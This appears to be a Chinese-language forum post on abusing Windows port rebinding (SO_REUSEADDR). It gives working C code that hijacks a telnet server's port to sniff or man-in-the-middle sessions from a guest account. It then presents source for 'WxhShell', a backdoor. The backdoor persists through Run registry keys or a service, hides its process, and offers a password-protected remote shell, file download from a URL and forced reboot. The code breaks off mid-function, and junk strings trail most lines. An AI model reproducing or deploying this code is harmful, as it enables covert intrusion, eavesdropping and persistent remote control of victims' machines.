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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .1 )RW5|c  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =JLh?Wx  
'fV%Z  
  saddr.sin_family = AF_INET; xg`h40c  
9Ru;`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); uLeRZSC  
}Rvm &?~O  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); sfT+i;p  
RF}X ER  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 j-@kW'K  
+>^7vq-\'  
  这意味着什么?意味着可以进行如下的攻击: <Q < AwP  
vYmSKS  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -F/st  
0Wvq>R.(]7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) q(o/yx{bm  
l*aj#%ha  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 'vV$]/wBF  
jF ^5}5U  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  od<b!4k~s  
<~emx'F|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }3 m0AQ;K  
[onqNp  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 BbOu/i|  
\kIMDg3}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @`"AHt  
]DG?R68DQ  
  #include >Q E{O.Z  
  #include 9-1#( Y6S  
  #include VaZn{z  
  #include    *O$CaAr\s  
  DWORD WINAPI ClientThread(LPVOID lpParam);   f|EUqu%E  
  int main() i%Z2wP.o  
  { ;^u*hZN[Up  
  WORD wVersionRequested; Wl"0m1G  
  DWORD ret; t G.(flW,  
  WSADATA wsaData; ITJ q  
  BOOL val; jn%kG ~]'Q  
  SOCKADDR_IN saddr; k_|^kdWJ  
  SOCKADDR_IN scaddr; -cF'2Sfr  
  int err; W_M'.1 t  
  SOCKET s; zoDZZ%{  
  SOCKET sc; [U =Uo*  
  int caddsize; PaB!,<A  
  HANDLE mt; *4Fr&^M\  
  DWORD tid;   SkNre$>t{  
  wVersionRequested = MAKEWORD( 2, 2 ); j=+"Qz/hr_  
  err = WSAStartup( wVersionRequested, &wsaData ); '(+<UpG_Q}  
  if ( err != 0 ) { ;oO v/3  
  printf("error!WSAStartup failed!\n"); }u{gR:lZ  
  return -1; qOV[TP,  
  } 34|a\b}  
  saddr.sin_family = AF_INET; T$4P_*  
   XkmQBV"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 HjNxqaljt  
Btt]R  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Yd cK&{  
  saddr.sin_port = htons(23); er.L7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |aToUi.Q%  
  { x<i}_@Sn_+  
  printf("error!socket failed!\n"); {U!St@  
  return -1; gIEl.  
  } U!5)5c}G  
  val = TRUE; zzGYiF ?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 I8Vb-YeS  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \kam cA  
  { )U<Y0bZA!  
  printf("error!setsockopt failed!\n"); `D5HC  
  return -1; I3S9Us-\  
  } `BFIC7a  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~:Uw g+]j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 qa >Ay|92e  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /(C~~XP)  
-ZOBAG*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1Y xgR}7  
  { H&}ipaDO  
  ret=GetLastError(); ^t "iX9  
  printf("error!bind failed!\n"); %WFu<^jm  
  return -1; S*)1|~pRvQ  
  } E N^Uki`  
  listen(s,2); RuW!*LI  
  while(1) |dE -^"_  
  { 'Yy&G\S  
  caddsize = sizeof(scaddr); !|?e7u7  
  //接受连接请求 ) iQ   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _>o-UBb4]T  
  if(sc!=INVALID_SOCKET) gieJ}Bv  
  { Ft JjY@#  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); M&Y .;  
  if(mt==NULL) 9~IQw#<  
  { 0"k |H&  
  printf("Thread Creat Failed!\n"); [p r"ZQ]  
  break; [t]X/O3<  
  } cFd > oDS  
  } i=FQGWAUu  
  CloseHandle(mt); *DI)?  
  } v`q\6i[-  
  closesocket(s); 2i#Sn'1  
  WSACleanup(); (kBP(2V  
  return 0; p^m5`{1]x  
  }   0Sl]!PZR1  
  DWORD WINAPI ClientThread(LPVOID lpParam) -5G)?J/*  
  { 96Wp!]*  
  SOCKET ss = (SOCKET)lpParam; uUR~&8ERX  
  SOCKET sc; M<?Q4a'Q  
  unsigned char buf[4096]; 2h30\/xkU  
  SOCKADDR_IN saddr; uv{P,]lK  
  long num; Jc4L5*Xn/  
  DWORD val; {y kYW%3s  
  DWORD ret; XV>JD/K2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 jMBiaX`F  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   l?E a#  
  saddr.sin_family = AF_INET; i@"e,7mSG  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <pLT'Y=  
  saddr.sin_port = htons(23); a5'#j35  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |Yi)"-  
  { ^{@!['  
  printf("error!socket failed!\n"); pe0x""K  
  return -1; iGXI6`F"  
  } `xS{0P{uj  
  val = 100; m@Ev~~;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /BKe+]dS*  
  { 7J$b$P0}  
  ret = GetLastError(); fg%&N2/(.B  
  return -1; 8U2dcx:G3  
  } VU|dV\>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )n7l'}o?+  
  { )YW<" $s  
  ret = GetLastError(); `RQ#.   
  return -1; 92W&x'  
  } 3cl9wWlJ_E  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Tm]nEl)_  
  { ,0$)yZ3*3,  
  printf("error!socket connect failed!\n"); ?^Hf Np9  
  closesocket(sc); OIb  
  closesocket(ss); _K2?YY(#>  
  return -1; Aez2*g3  
  } :q3+AtF  
  while(1) d?idTcgs  
  { m"tOe?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @!=\R^#p  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {kI#A?M  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 { Ng oYl  
  num = recv(ss,buf,4096,0); )+I.|5g  
  if(num>0) @# P0M--X  
  send(sc,buf,num,0); K2_Qu't0$  
  else if(num==0) mumXUX  
  break; VUU]Pu &  
  num = recv(sc,buf,4096,0); \79X{mcd  
  if(num>0) 4tA_YIv  
  send(ss,buf,num,0); !SOrCMHx  
  else if(num==0) eZhPu'id\s  
  break; k ^'f[|}  
  } ?q2j3e[>  
  closesocket(ss); UO`;&e-DB  
  closesocket(sc); AtS;IRN@  
  return 0 ; z:Sigo_z[  
  } D bX{#4lx  
{aKqXL[UP  
z5\;OLJS,  
========================================================== `XTh1Z\  
Ths_CKwgWY  
下边附上一个代码,,WXhSHELL < O*6 T%;  
;d.K_P  
========================================================== 4] > ]-b  
`WEZ"5n  
#include "stdafx.h" =iB,["s  
9D\4n  
#include <stdio.h> ~i'Nqe_  
#include <string.h> ;Z[]{SQ  
#include <windows.h> 4wzlJ19E(  
#include <winsock2.h> Qq-"Cg@-/  
#include <winsvc.h> YEu1#N  
#include <urlmon.h> [t\B6XxT  
ewNz%_2  
#pragma comment (lib, "Ws2_32.lib") :!&;p  
#pragma comment (lib, "urlmon.lib") T<yP* b2E  
l|`9:H  
#define MAX_USER   100 // 最大客户端连接数 l2%bF8]z  
#define BUF_SOCK   200 // sock buffer ]-o"}"3Ef  
#define KEY_BUFF   255 // 输入 buffer 0Y=![tO8  
1B>Vt*=  
#define REBOOT     0   // 重启 FX <b:#  
#define SHUTDOWN   1   // 关机 }!#gu3  
IHfzZHy  
#define DEF_PORT   5000 // 监听端口 `L;eba  
MjfFf} @  
#define REG_LEN     16   // 注册表键长度 l*b)st_p%  
#define SVC_LEN     80   // NT服务名长度  oz'\q0  
!M<{E*  
// 从dll定义API - "*r  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 23(=Xp3;>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 73A)lU.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 31+;]W=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {Ee>n^1  
v;#=e$%}MO  
// wxhshell配置信息 {@}?k s5  
struct WSCFG { ?eV(1 Fr@  
  int ws_port;         // 监听端口 .V9e=yW!*  
  char ws_passstr[REG_LEN]; // 口令 [ //R~i?  
  int ws_autoins;       // 安装标记, 1=yes 0=no V+-$ jOh  
  char ws_regname[REG_LEN]; // 注册表键名 C8N{l:1f]  
  char ws_svcname[REG_LEN]; // 服务名 uNbH\qd=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Hk_y/97OO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v}G]X Z8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nq} Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `7aDEzmJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !;@_VWR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 38V3o`f  
7DW]JK l  
}; `;,Pb&W~  
p_*M:P1Ma4  
// default Wxhshell configuration YO{GU7  
struct WSCFG wscfg={DEF_PORT, m^%|ZTrwN7  
    "xuhuanlingzhe", 9_ICNG%  
    1, M/PFPJ >`  
    "Wxhshell", $DFv30 f  
    "Wxhshell", QlFZO4 P3|  
            "WxhShell Service", R`Aj|C z  
    "Wrsky Windows CmdShell Service", wCs3:@UH  
    "Please Input Your Password: ", ~cAZB9Fa  
  1, ub0zJTFJ#  
  "http://www.wrsky.com/wxhshell.exe", k@>\LR/v  
  "Wxhshell.exe" ){s*n=KIO  
    }; vqslirC  
<O?y-$~  
// 消息定义模块 ;cQW sTfT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _,Fny_u=;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _fFU#k:MU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1PaUI#X"2F  
char *msg_ws_ext="\n\rExit."; A \rt6/  
char *msg_ws_end="\n\rQuit."; <HWS:'1  
char *msg_ws_boot="\n\rReboot..."; gIWrlIV{9  
char *msg_ws_poff="\n\rShutdown..."; mAgF73,3  
char *msg_ws_down="\n\rSave to "; L(;WxHL  
 , iNv'  
char *msg_ws_err="\n\rErr!"; U;_[b"SW%  
char *msg_ws_ok="\n\rOK!"; 4Ph0:^i_  
%sh>;^58P  
char ExeFile[MAX_PATH]; &MmU  
int nUser = 0; _eSd nHWx  
HANDLE handles[MAX_USER]; LVIAF0kX  
int OsIsNt; U8#xgz@  
&ej8mq"\  
SERVICE_STATUS       serviceStatus; 4:3rc7_ 1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z.L?1V8Q1  
>$677  
// 函数声明 >t,M  
int Install(void); >!e<}84b  
int Uninstall(void); c97{Pu  
int DownloadFile(char *sURL, SOCKET wsh); 148V2H)  
int Boot(int flag); ?[TfpAtQ`  
void HideProc(void); QZAB=rR  
int GetOsVer(void); 9A,Z|q/z5  
int Wxhshell(SOCKET wsl); ;^ wd_  
void TalkWithClient(void *cs); <E;pgw!  
int CmdShell(SOCKET sock); _3iHkQr  
int StartFromService(void); #H [Bb2(j  
int StartWxhshell(LPSTR lpCmdLine); 72W,FU~OD  
EqiFy"H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O-vGyNxP|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sML=5=otx  
,ea^,H6  
// 数据结构和表定义 m .IU ;cR  
SERVICE_TABLE_ENTRY DispatchTable[] = #$~ba %t9%  
{ h-a!q7]l  
{wscfg.ws_svcname, NTServiceMain}, rj ]F87"  
{NULL, NULL} PupM/?57  
}; !"Yj|Nu6  
|!|^ v  
// 自我安装 Zv]x'3J#Y  
int Install(void) 5  *}R$  
{ SEwku}  
  char svExeFile[MAX_PATH]; d9*hBm  
  HKEY key; uf<@ruN  
  strcpy(svExeFile,ExeFile); mpC`Yk  
}uHrto3M  
// 如果是win9x系统,修改注册表设为自启动 iF5'ygR-Z  
if(!OsIsNt) { GY3 Wj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;rI@ *An  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5V[oE\B  
  RegCloseKey(key); 5la>a}+!!h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { . JX EK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l5%G'1w#,j  
  RegCloseKey(key); ,&PE6h n  
  return 0; VLsxdwHgb  
    } MfO:m[s  
  } 7`vEe 'qz  
} CQ7{1,?2  
else { G2 ]H6G$M  
 %R#L  
// 如果是NT以上系统,安装为系统服务 e:E0"<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {u{@ jp  
if (schSCManager!=0) @}_WE,r  
{ 8bK|:B#6,  
  SC_HANDLE schService = CreateService !?f5>Bl  
  ( _EnwME {@  
  schSCManager, OV2 -8ERS  
  wscfg.ws_svcname, t- u VZ!`\  
  wscfg.ws_svcdisp, 'C$XS>S  
  SERVICE_ALL_ACCESS, #1c]PX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wHZW `  
  SERVICE_AUTO_START, @Q&3L~K"  
  SERVICE_ERROR_NORMAL, I +5)Jau^S  
  svExeFile, ~"pKe~h   
  NULL, kh~'Cn "O  
  NULL, Dih6mTP{  
  NULL, r?m+.fJB  
  NULL, j.~!dh$mg  
  NULL (Q[fS:U  
  ); G CRz<)1  
  if (schService!=0) -U~   
  { `.x$7!zLC  
  CloseServiceHandle(schService); h'J|K^na  
  CloseServiceHandle(schSCManager); !f>d_RG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rrg96WD  
  strcat(svExeFile,wscfg.ws_svcname);  $p!yhn7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xX3'bsN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^ PI5L  
  RegCloseKey(key); YzosZ! L!<  
  return 0; W)'*m-I  
    } MUOa@O,  
  } bQe^Px5 !.  
  CloseServiceHandle(schSCManager); (npj_s!.C)  
} 5tJ,7Y'  
} *vgl*k?)  
R(.}C)q3  
return 1; s?8<50s  
} 9[!,c`pw  
$,I q;*7N  
// 自我卸载 (%iRaw7hp  
int Uninstall(void) z"D.Bm~ ]  
{ tH=P6vY  
  HKEY key; 3X9b2RY*L/  
b[z]CP  
if(!OsIsNt) { PFUO8>!pA\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }:: S 0l  
  RegDeleteValue(key,wscfg.ws_regname); MT(o"ltQ  
  RegCloseKey(key); PcB_oG g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f >BWG`  
  RegDeleteValue(key,wscfg.ws_regname); #T`t79*N  
  RegCloseKey(key); 8x`.26p  
  return 0; fQrhsuCrC  
  } Z\[N!Zt|  
} C]^H&  
} Li*eGlId  
else { b o.(zAz  
f= >O J!:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (SSRY9  
if (schSCManager!=0) '|;X0fD  
{ 'mI'dG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); '=][J_  
  if (schService!=0) ~['Kgh_;  
  { Y@'8[]=0  
  if(DeleteService(schService)!=0) { Gm*X'[\DD  
  CloseServiceHandle(schService); 5cx#SD&5/  
  CloseServiceHandle(schSCManager); }@if6(0  
  return 0; 'B+ ' (f  
  } &d7Z6P'`G  
  CloseServiceHandle(schService); "CiTa>x  
  } ]weoTn:  
  CloseServiceHandle(schSCManager); NvM*h%ChM  
} .ROznCe}  
} "#mBcQ;QLV  
S9HwIH\m  
return 1; }68i[v9Njk  
} a^,(v  
w[P4&?2:  
// 从指定url下载文件 f#ri'&}c :  
int DownloadFile(char *sURL, SOCKET wsh) }kg ye2[  
{ u!1{Vt87  
  HRESULT hr; 4k./(f2+  
char seps[]= "/"; RN=` -*E1  
char *token; R^{)D3  
char *file; gGfoO[B  
char myURL[MAX_PATH]; 8Sz})UZ  
char myFILE[MAX_PATH]; Spt ? >sm  
s3Cc;#  
strcpy(myURL,sURL); JTi!Xu5Jq  
  token=strtok(myURL,seps); 5zON}"EC  
  while(token!=NULL) 8p[)MiC5W^  
  { r1RGTEkD  
    file=token; 1CLL%\V  
  token=strtok(NULL,seps); 5nbEf9&  
  } )O:0 ]=#))  
|>@W ]CX[  
GetCurrentDirectory(MAX_PATH,myFILE); @{Gncy|  
strcat(myFILE, "\\"); E 7-@&=]v  
strcat(myFILE, file); Ov<NsNX]  
  send(wsh,myFILE,strlen(myFILE),0); V|\7')Qq  
send(wsh,"...",3,0); qZ@s#UiB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w3jO6*_ M  
  if(hr==S_OK) yCCrK@{oo  
return 0; r(gXoq_w  
else !?Wp+e6  
return 1; 4&l10fR5  
!A48TgAeE  
} ]qhPd_$?D'  
Sna4wkbS  
// 系统电源模块 }1IpON  
int Boot(int flag) `({T]@]V  
{ LR" 9D  
  HANDLE hToken; YuB+k^  
  TOKEN_PRIVILEGES tkp; Ar~"R4!  
HaIM#R32T  
  if(OsIsNt) { qWw\_S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sVex (X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b86}% FM  
    tkp.PrivilegeCount = 1; k{t`|BnPKB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I}R0q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P;4w*((} ~  
if(flag==REBOOT) { 37}D9:#5C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w3$   
  return 0; b+Br=Fv"T  
} ut r:J  
else { Y))NK'B5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^j7azn  
  return 0; :%IoME   
} 6-O_\Cq8  
  } bJs9X/E  
  else { @B}aN@!/  
if(flag==REBOOT) { 4[N^>qt =  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y!xE<S&Y  
  return 0; W^"AU;^V56  
} JchSMc.9  
else { 0wS+++n$5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H/}]FmjN  
  return 0; NVRLrJWpp  
} u]OW8rc  
} kZ"BBJ6w  
R LD`O9#j  
return 1; Z(Jt~a3o  
} n?V+dC=F}  
bV"G~3COy  
// win9x进程隐藏模块 7%sdtunf`  
void HideProc(void) 08*v~(T  
{ -IV]U*4  
++E3]X|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z@r.pRr'  
  if ( hKernel != NULL ) 6^DR0sO  
  { $q 2D+_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q:g2Zc'Y~W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Po%(~ )S>  
    FreeLibrary(hKernel); \QB;Ja _  
  } a0Zv p>Ft  
[ +P#tIL  
return; jVq(?Gc  
} l} qE 46EL  
^b %0 B  
// 获取操作系统版本 /7 Cn(s5o  
int GetOsVer(void) H*r>Y  
{ TiH) 5  
  OSVERSIONINFO winfo; n93=8;&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IH"6? 9nd  
  GetVersionEx(&winfo); C"{k7yT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b6*!ACY  
  return 1; M>/Zbnq  
  else 9H%X2#:fH  
  return 0; Gw1@KKg  
} \J6j38D5  
SV(]9^nW  
// 客户端句柄模块 'PP#^aI,  
int Wxhshell(SOCKET wsl) ^4o;$u4R  
{ R=KQ  
  SOCKET wsh; vI@%Fg+D  
  struct sockaddr_in client; nqf,4MR  
  DWORD myID; Ox@P6|m  
^I+)o1%F  
  while(nUser<MAX_USER) *2GEnAZb7n  
{ J4\qEO  
  int nSize=sizeof(client); h5K$mA5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); CoA6  
  if(wsh==INVALID_SOCKET) return 1; QNl'ZB \  
z0do;_x]E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m1*O0Tg]"  
if(handles[nUser]==0) }m-FGk  
  closesocket(wsh); ^7Fh{q4IE  
else 5+wAzVA  
  nUser++; |ely|U. Tf  
  } vEn4L0D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M4W5f#C5Ee  
Rx+p.  
  return 0; k]I0o)+O.  
} RH|XxH*  
>i6yl5s  
// 关闭 socket 9WR6!.y#f  
void CloseIt(SOCKET wsh) &%/7E_j7  
{ b2FO$Os  
closesocket(wsh); _H/8_[xk  
nUser--; q?ix$nKOv  
ExitThread(0); NhYLt w^u  
} Q6r7.pk"SU  
pn^ d]rou?  
// 客户端请求句柄 rX1QMR7?  
void TalkWithClient(void *cs) nt@aYXK4|  
{ T|TO}_x  
+="e]Yh;  
  SOCKET wsh=(SOCKET)cs; |u;v27  
  char pwd[SVC_LEN]; qQH]`#P  
  char cmd[KEY_BUFF]; @qHNE,K  
char chr[1]; 6!(@@^7{*  
int i,j; Q0ON9gqqv  
\0gM o&  
  while (nUser < MAX_USER) { #KiRfx4G  
c[ ]4n  
if(wscfg.ws_passstr) { QMpoa5ZQG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3F<VH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @W9x$  
  //ZeroMemory(pwd,KEY_BUFF); IOV(seEY  
      i=0; v 7x:dcV  
  while(i<SVC_LEN) { N~xLu8,  
X ' "SVO.  
  // 设置超时 pLzk   
  fd_set FdRead; }_68j8`  
  struct timeval TimeOut; ~Onoe $A[<  
  FD_ZERO(&FdRead); z'EajBB\f  
  FD_SET(wsh,&FdRead); v@d  
  TimeOut.tv_sec=8; :EA\)@^$R  
  TimeOut.tv_usec=0; TU 1I} ,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ` 5C~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D= h)&  
=%BZ9,l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \R;`zuv   
  pwd=chr[0]; Ez-[ )44/  
  if(chr[0]==0xd || chr[0]==0xa) { 2]ape !(  
  pwd=0; >cCR2j,r  
  break; go<W( ,O  
  } >lIk9|  
  i++; PxS8 n?y  
    } !dC<4qZ\C  
x3"#POp  
  // 如果是非法用户,关闭 socket }x wu*Zx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B[4KX  
} S9",d~EM  
.8G@%p{,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,5*eX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L~NbdaO  
8UVmv=T  
while(1) { ;IokThI  
sK5r$Dbr  
  ZeroMemory(cmd,KEY_BUFF); a)'5Nw9*  
%&Q$dzgb_  
      // 自动支持客户端 telnet标准   _&b4aW9<  
  j=0; 4sT88lG4n  
  while(j<KEY_BUFF) { Z7?~S2{c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '`uwJ&@  
  cmd[j]=chr[0]; wL:flH@  
  if(chr[0]==0xa || chr[0]==0xd) { 3z&Fi;<+j  
  cmd[j]=0; os]8BScx  
  break; <"r#:Wr  
  } f|tjsZxQ  
  j++; 9BuSN*4  
    } /Dj=iBO  
8!Ww J Oe  
  // 下载文件 7F{3*`/6  
  if(strstr(cmd,"http://")) { '5|h)Q5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); | ]X  
  if(DownloadFile(cmd,wsh)) k<\$OoOZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &E=>Hj(dTG  
  else k>g _Z`%<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !GNBDRr  
  } EG=Sl~~o  
  else { :FTMmW,>'  
 D 'Zt  
    switch(cmd[0]) { _<OSqE  
  vG"=h%  
  // 帮助 uD @#  
  case '?': { lH6OcD:kj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n@,G8=J?  
    break; e8#h3lxJ`  
  } Yd~X77cv  
  // 安装 F ;2w1S^  
  case 'i': { \hEN4V[  
    if(Install()) o_^?n[4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `I,,C,{C  
    else n*{sTT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <t \H^H!  
    break; :1bWVM)  
    } DRi<6Ob  
  // 卸载 `,(,t n_  
  case 'r': { ZGKu>yM  
    if(Uninstall()) uW} s)j.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :dQ B R  
    else 4k@5/5zsM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mh{1*T$fP  
    break; -K3^BZ HI  
    } n74V|b6W  
  // 显示 wxhshell 所在路径 ='Y!+  
  case 'p': { zp%Cr.)$  
    char svExeFile[MAX_PATH]; TO?R({yx*  
    strcpy(svExeFile,"\n\r"); "$N+"3I  
      strcat(svExeFile,ExeFile); Gf<'WQ[  
        send(wsh,svExeFile,strlen(svExeFile),0); ikv Wh<=>H  
    break; qtQ6cq Ld  
    } l)&X$3?tz  
  // 重启 ''\O v  
  case 'b': { Dw<bn<e-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SX# e:_  
    if(Boot(REBOOT)) `u teg=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X6@WwM~qz  
    else { L'0B$6  
    closesocket(wsh); OZ~5*v  
    ExitThread(0); %~E ?Z!_W  
    } :i. {  
    break; Wg<(ms dj  
    } E4~<V=2l  
  // 关机 ^!<BQP7  
